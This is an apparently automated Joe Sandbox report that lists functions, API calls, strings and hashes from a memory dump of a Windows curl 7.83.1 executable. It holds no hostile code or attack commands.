Error accept()ing server connect, xrefs: 0089A192

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: acceptgetsocknameioctlsocket
String ID: Connection accepted from server$Error accept()ing server connect
API String ID: 36920154-1795061160
Opcode ID: 1a244a48199f14bb2abf615f8303eb9d43dbd70e6e10e8061639ca6ecf81a1a6
Instruction ID: 122bf5744e693c6e59f4b73dbdf829e420e9f2e8ff3e13b69a37aeb9c630f989
Opcode Fuzzy Hash: 1a244a48199f14bb2abf615f8303eb9d43dbd70e6e10e8061639ca6ecf81a1a6
Instruction Fuzzy Hash: A031D531A00214DFDB14AB38DC45BEAB7B9FF44714F1482AAE85DE7281DF715D888BA1

Function 008994C7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00899557
___from_strstr_to_strchr.LIBCMT ref: 00899584
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008995A3

Strings

Got unexpected pop3-server response, xrefs: 008994F4
+, xrefs: 008994EE

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchrcallocfree
String ID: +$Got unexpected pop3-server response
API String ID: 1802162112-3277052657
Opcode ID: b53f5d18d4f4894c50a92ddc9e33b54aa748fc159667bf10c85953e550b2b227
Instruction ID: 23c5aa8d4f5145886e4e74d8a35941a65a287a88d3135831bf78354593ac0b8b
Opcode Fuzzy Hash: b53f5d18d4f4894c50a92ddc9e33b54aa748fc159667bf10c85953e550b2b227
Instruction Fuzzy Hash: BD315B71A00205AFEF2AAF29D841B9ABBE4FF40360F19015ED585E7241DB706D408694

Function 0088E822 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,0088E982,00000000,?,?,?,0088EB73), ref: 0088E849
htons.WS2_32(?), ref: 0088E85B
inet_pton.WS2_32(00000017,::1,?), ref: 0088E877

Strings

::1, xrefs: 0088E871
localhost, xrefs: 0088E833, 0088E8C0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: callochtonsinet_pton
String ID: ::1$localhost
API String ID: 4237634067-466958357
Opcode ID: 633bc79a653043abfbfeb235ac7715190e57ad02a2e4a3ce0551830d20b3a5a1
Instruction ID: 8d8b8fecb0758cb2d122ac428a169a0caa42b25fca076308f1f75332818f5062
Opcode Fuzzy Hash: 633bc79a653043abfbfeb235ac7715190e57ad02a2e4a3ce0551830d20b3a5a1
Instruction Fuzzy Hash: 4921D132A106089BDB04DF54D885B9F7BF5FF09325F10402AE904EF282D7B1E909CB95

Function 00889EC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00889EDF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00889F59

Strings

Host, xrefs: 00889F27
%s%s%s:%d, xrefs: 00889F08
Host: %s, xrefs: 00889F38

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchrfree
String ID: %s%s%s:%d$Host$Host: %s
API String ID: 653773606-4134764909
Opcode ID: 9c26bb3d8fa84defd753763fc09996172ac165b035412b8bde0bcab18dc8f3f4
Instruction ID: e9c173ef9160256d49aa06e905198704901cb7dbc49ac4b40bb0ea629f73c28c
Opcode Fuzzy Hash: 9c26bb3d8fa84defd753763fc09996172ac165b035412b8bde0bcab18dc8f3f4
Instruction Fuzzy Hash: 19110B727086056F9B196E59DC42F7A37A9FF85B60B54402DFA05DB340EA71EC408760

Function 008832EC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72stringCOMMON

Download Yara Rule

APIs

strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A), ref: 0088333A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0088336C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008833AA

Strings

0Lu@Ru@/Mu, xrefs: 0088336C
Invalid zoneid: %s; %s, xrefs: 00883383

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errnofreestrtoul
String ID: 0Lu@Ru@/Mu$Invalid zoneid: %s; %s
API String ID: 3069384960-306810487
Opcode ID: 9062c7ab9d1e2aac9b6ef5e5ac5893c308a445127a3e8a8a20622907ed259a28
Instruction ID: ff496ba0b25e6d95b6e62d16499cf2aa9762550b5c8fd6b4963fb92c100be6ef
Opcode Fuzzy Hash: 9062c7ab9d1e2aac9b6ef5e5ac5893c308a445127a3e8a8a20622907ed259a28
Instruction Fuzzy Hash: C421C631A0061CABDB24AB24EC45FED77B9FF8AB10F14419AE909D7391DF709E448B91

Function 0088E8E1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 0088E8FF
inet_pton.WS2_32(00000002,127.0.0.1,?), ref: 0088E913
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,?,?,?,0088EB73,?,?,?), ref: 0088E937

Part of subcall function 0088E822: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,0088E982,00000000,?,?,?,0088EB73), ref: 0088E849
Part of subcall function 0088E822: htons.WS2_32(?), ref: 0088E85B
Part of subcall function 0088E822: inet_pton.WS2_32(00000017,::1,?), ref: 0088E877

Strings

127.0.0.1, xrefs: 0088E90D
localhost, xrefs: 0088E96E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: callochtonsinet_pton
String ID: 127.0.0.1$localhost
API String ID: 4237634067-2339935011
Opcode ID: f345f34e0816b3a3a99c53dbd3b539076911069f5d8b5d52247569ce557ffc0d
Instruction ID: 6c62d38ebf2a1e5366e6b8c357a02c6282c098759d381fcb439c11f0b36a1800
Opcode Fuzzy Hash: f345f34e0816b3a3a99c53dbd3b539076911069f5d8b5d52247569ce557ffc0d
Instruction Fuzzy Hash: EE11B175A007089BDB01DF94DC8569BBBF5FF49310F20416AE904EB241D7F1D945CB90

Function 00867F31 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00867F43
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00867F5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00867F89
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00867FA5

Strings

a, xrefs: 00867F31

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree
String ID: a
API String ID: 1865132094-3904355907
Opcode ID: 8ad059fdda462a7dca0bc4ec48f8c945ce3cb7d0d62b792b8b95d573eb9d198c
Instruction ID: 7874b7b356ab9680a54dbc82b599001945c39f6a1a2af4699ea39815163d6ee0
Opcode Fuzzy Hash: 8ad059fdda462a7dca0bc4ec48f8c945ce3cb7d0d62b792b8b95d573eb9d198c
Instruction Fuzzy Hash: 2921497060C7819FD720CE7894946ABBBE5FB89318F1A4E1EE19ED7240DB3098058782

Function 0086DB81 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,008CF580,00000200,.curlrc,00000000,00000000,.curlrc,?,0086DC8B,?,00000000,00000000), ref: 0086DB9B
_strrchr.LIBCMT ref: 0086DBAC
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(008CF580,008B7A20,00000000,00000200,%s%s,008B734C,.curlrc,?,0086DC8B,?,00000000,00000000), ref: 0086DC03

Strings

.curlrc, xrefs: 0086DB84, 0086DB87, 0086DBE1
%s%s, xrefs: 0086DBE7

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: FileModuleName_strrchrfopen
String ID: %s%s$.curlrc
API String ID: 494197015-3900187666
Opcode ID: edad890756f923eccb56479d0b97cc9b1a2536065fc3a39d7cacab43cd0fb051
Instruction ID: e54b3259ee5f3bc121aa8876f5b855af0ced087347829e7b7a9a338e2990e579
Opcode Fuzzy Hash: edad890756f923eccb56479d0b97cc9b1a2536065fc3a39d7cacab43cd0fb051
Instruction Fuzzy Hash: E21144317083086AEB186E288C85FAA7BA9FB863A4F15017DE502D7382D9A29D058270

Function 00868B82 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

puts.API-MS-WIN-CRT-STDIO-L1-1-0(Build-time users:), ref: 00868BAB
puts.API-MS-WIN-CRT-STDIO-L1-1-0( <none>), ref: 00868BDB

Part of subcall function 008720F5: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,?,?,00868A7A,curl 7.83.1 (Windows) %s,00000000), ref: 00872101

Strings

Build-time users:, xrefs: 00868BA6
%s, xrefs: 00868BBB
<none>, xrefs: 00868BD6

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: puts$__acrt_iob_func
String ID: %s$ <none>$Build-time users:
API String ID: 1292152210-2903797034
Opcode ID: 74f9461b42c93e82062f12d192531e51ca0b4c51484b6027f03b5099f2c7ac55
Instruction ID: a2c0a3ded457c291224c071bb36566873176224131d90f4e7649cea45c9b716a
Opcode Fuzzy Hash: 74f9461b42c93e82062f12d192531e51ca0b4c51484b6027f03b5099f2c7ac55
Instruction Fuzzy Hash: 2701DB71905208EBCB08EF54D916DDD7774FF05710F140159F409E2381EF709F009646

Function 008AC34C Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 256COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 008AC3E2
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 008AC5B5

Strings

Excessive server response line length received, %zd bytes. Stripping, xrefs: 008AC525
cached response data too big to handle, xrefs: 008AC5EC
response reading failed, xrefs: 008AC441

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: freemalloc
String ID: Excessive server response line length received, %zd bytes. Stripping$cached response data too big to handle$response reading failed
API String ID: 3061335427-1004035239
Opcode ID: 9111facfa61c64b1df2adb2bd4adaf4a255c5784593661b174afc3ab471999c5
Instruction ID: e10a571bbe98403768bffe97edaa87ff5436fa8653f8ba546881f1b062f794fd
Opcode Fuzzy Hash: 9111facfa61c64b1df2adb2bd4adaf4a255c5784593661b174afc3ab471999c5
Instruction Fuzzy Hash: 82A17971A0070AAFEB04CFA8C891AAEFBB5FF49314F14C52AE815E7741D775A910CB94

Function 008AA885 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 008AAB9A: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AABCC
Part of subcall function 008AAB9A: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AABFD
Part of subcall function 008AAB9A: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AAC1F
Part of subcall function 008AAB9A: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AAC36
Part of subcall function 008AAB9A: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AAC50

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,008A0F4D,?,?,00890D79,?,?,00000000,?,?,?,00890B5D), ref: 008AA8FF
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,008A0F4D,?,?,00890D79,?,?,00000000,?,?,?,00890B5D,?), ref: 008AA94A

Strings

NTLM, xrefs: 008AA8A6, 008AA970
SSPI: couldn't get auth info, xrefs: 008AA8BC

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$callocmalloc
String ID: NTLM$SSPI: couldn't get auth info
API String ID: 1437353635-1544621284
Opcode ID: 2d99630143213aafd2018d6fc01d7a1fd8699cea5f6d592e51bbe5b42115f2d0
Instruction ID: 20dbf421c4946eb0a0b6f5f3ec97f576b3dd33bf050c61a25a873339881873fc
Opcode Fuzzy Hash: 2d99630143213aafd2018d6fc01d7a1fd8699cea5f6d592e51bbe5b42115f2d0
Instruction Fuzzy Hash: 2C518E7560461AAFEB088F58DD84AAE7BF9FF09310B14412AE905E3B90DB70AD04CF91

Function 008A1C53 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 008709FA: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 00870A07

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A1DC6

Strings

Found %I64d bytes to download, xrefs: 008A1D02
Failed to parse FETCH response., xrefs: 008A1CA0
Written %zu bytes, %I64u bytes are left for transfer, xrefs: 008A1D7B
*, xrefs: 008A1C60

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errnofree
String ID: *$Failed to parse FETCH response.$Found %I64d bytes to download$Written %zu bytes, %I64u bytes are left for transfer
API String ID: 1830139605-1126424615
Opcode ID: 0e1c66e3745966dcc1e5d8d062500adb13521784e86e3ff819673d0924d08204
Instruction ID: 9cd05b23da138df1f2064b5a284543f0914a4935ba8074f02e3142478380c332
Opcode Fuzzy Hash: 0e1c66e3745966dcc1e5d8d062500adb13521784e86e3ff819673d0924d08204
Instruction Fuzzy Hash: EE51F971A40605AFEF14DB28C889FBAB7B5FF46324F14826DE558E7282D7706D408B91

Function 008A67EE Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 149COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00890591,00000001,00000000,00000000,00000000,?,?,?), ref: 008A6847

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 008A68C8, 008A6936, 008A693A
%c%c%c=, xrefs: 008A6921
%c%c==, xrefs: 008A693B
%c%c%c%c, xrefs: 008A68FB

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: malloc
String ID: %c%c%c%c$%c%c%c=$%c%c==$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
API String ID: 2803490479-989668499
Opcode ID: 84a108b09ec91df0ce00693350dc94439341f9b133629e747e01f6e73b4fbdc5
Instruction ID: 417be64528c5d5aeae13b7935fd07aaad075878928b5d5c32bf6b4b1ca68ccc2
Opcode Fuzzy Hash: 84a108b09ec91df0ce00693350dc94439341f9b133629e747e01f6e73b4fbdc5
Instruction Fuzzy Hash: CC415A759046945FE7058A7888547BF7FF9FB47310F0C41D9E8A4D7386E5388A02CB60

Function 0088E5C0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00000000,00000000), ref: 0088E61D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,00000000), ref: 0088E657
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000), ref: 0088E6F0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,00000000), ref: 0088E70A

Strings

Shuffling %i addresses, xrefs: 0088E5F8

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: freemalloc
String ID: Shuffling %i addresses
API String ID: 3061335427-3589116693
Opcode ID: 8d177ef4d8afb0a58f35653844ef71796ab01944209cd089f0fc872ee100f446
Instruction ID: 2e158a295c5f759cae23641bdf3f356bb892cd8c6fe3e05ed206a44c158ae3b8
Opcode Fuzzy Hash: 8d177ef4d8afb0a58f35653844ef71796ab01944209cd089f0fc872ee100f446
Instruction Fuzzy Hash: AC413675E0062A9FCB18EF68D88496EBBF5FF49754B15416AE805EB351EB30AD01CB80

Function 0086FD52 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086FD9E
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000B08), ref: 0086FDBD
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 0086FDCC

Strings

curl: (%d) %s, xrefs: 0086FE73
%s in URL position %zu:%s%*s^, xrefs: 0086FE4C

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: callocfreemalloc
String ID: %s in URL position %zu:%s%*s^$curl: (%d) %s
API String ID: 4086611775-2317922172
Opcode ID: 75f8cd3dac3c3b9421eabd8e4bc1a330c2085c11416dfcaaaa4b26f56f3d1959
Instruction ID: 584d6ccddd8cb21ca7a25e4673b1f0cdbbf1ec7f8ad18a6445550e2636183e1b
Opcode Fuzzy Hash: 75f8cd3dac3c3b9421eabd8e4bc1a330c2085c11416dfcaaaa4b26f56f3d1959
Instruction Fuzzy Hash: 8B410375A002099FDB24CF68D884BEAB7B5FF85314F1041ADE519DB342EB71AD418B60

Function 0089DFE0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089E0B6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089E0D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089E0EE

Strings

QUIT, xrefs: 0089E00D
Failure sending QUIT command: %s, xrefs: 0089E02D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: Failure sending QUIT command: %s$QUIT
API String ID: 1294909896-1162443993
Opcode ID: 89d4b3ebb5bafeccd8b9870b0ddc944bebf2b7eff84276b61b4c7b9d07346d05
Instruction ID: 598490b027315872c6a9728b9b4d65cb7cef68ed3a1cc184fbb03b8c01f4ecb7
Opcode Fuzzy Hash: 89d4b3ebb5bafeccd8b9870b0ddc944bebf2b7eff84276b61b4c7b9d07346d05
Instruction Fuzzy Hash: 4C31D271604B05ABDF14AF389888B6ABBE5FF45314F08817EE919C7382DBB5A8008791

Function 0086673A Relevance: 7.6, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00866762
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00866790
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(10000000), ref: 008667A9
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008667D1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(01000000), ref: 008667EA

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree$___from_strstr_to_strchr
String ID:
API String ID: 104559748-0
Opcode ID: 8d004d67615b662eb549b78ce1a49acdfa8bdaeaa6ef0ce50359b46e818eeef3
Instruction ID: 2346a6871dfb9765c623b3dbc72db9686a3d79cbb91e1c435bbb6fe4bbd82f07
Opcode Fuzzy Hash: 8d004d67615b662eb549b78ce1a49acdfa8bdaeaa6ef0ce50359b46e818eeef3
Instruction Fuzzy Hash: 27316D701087818FD325CF28945576ABBF1FB85318F1A0B5EE09AD7691EB30D805CB46

Function 008A1588 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A15B1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A15CF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A1629

Strings

SELECT %s, xrefs: 008A160A
Cannot SELECT without a mailbox., xrefs: 008A15E3

Memory Dump Source

